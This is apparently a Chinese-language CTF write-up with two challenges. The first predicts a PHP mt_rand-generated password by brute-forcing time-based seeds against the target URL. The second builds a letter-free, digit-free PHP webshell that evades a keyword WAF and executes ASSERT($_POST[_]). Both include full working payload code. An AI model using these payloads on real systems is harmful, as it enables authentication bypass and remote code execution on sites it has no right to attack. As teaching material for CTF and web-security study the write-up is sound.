0x01 伪随机数
index.php.bak下载源码
对比用户输入的pwd和伪随机生成的pwd,再对比login和session产生的login,如果都满足则得到答案。
我们可以看到,这里的userLogin是在验证后设置的,因此login置空即可绕过
对于pwd,使用了mt_rand,而在同一个进程中,对于同一个seed,每次通过mt_rand()生成的值都是固定的,因此我们可以通过还原程序逻辑,计算出对应的mt_rand()产生的伪随机数的值进行对目标结果的爆破。
构造payload如下
<?php function create_password($pw_length = 10) { $randpwd = ""; for ($i = 0; $i < $pw_length; $i++) { $randpwd .= chr(mt_rand(33, 126)); } return $randpwd; } session_start(); for($i=time()-10;$i<time()+10;$i++) { mt_srand($i); $pwd=create_password(); $do=file_get_contents("对应网址/index.php?pwd=$pwd&login="); echo $do.'<br>'; } ?>
最终得到flag
0x02 hxb2017
源码
审计:content 传入内容为 php 文件内容,因此如果我们能传入一句话的内容,即可 getshell,问题就在于普通的一句话木马会被过滤,因此我们需要想办法绕过这个关键字 WAF。
记得之前看到过p神博客的一篇“不包含数字和字母的webshell”文章。
文章的思路主要是:将非字母、数字的字符经过各种变换,最后构造出a-z中任意一个字符,再利用PHP允许动态函数执行的特点,拼接处我们想要的一句话木马
又因为php有一个这样的特性
在处理字符变量的算术运算是,PHP沿袭了Perl的习惯,而非C得。例如,在Perl中 a=′Z′; a++;将把$a变成‘AA’,而在C中,a=’Z’; a++;将把a变成‘[‘。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z和A-Z)。++/- -其他字符变量则无效,原字符串没有变化。
因此我们利用这里数组Array具有一个大写字母A,一个小写a可以构造出a-z和A-Z的所有字母。
再次研究源码,我们发现没有过滤掉_(下划线)和括号’(’’)’
因此我们执行的 payload 为 ASSERT($_POST[_])
对应的绕过 payload 为
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
成功getshell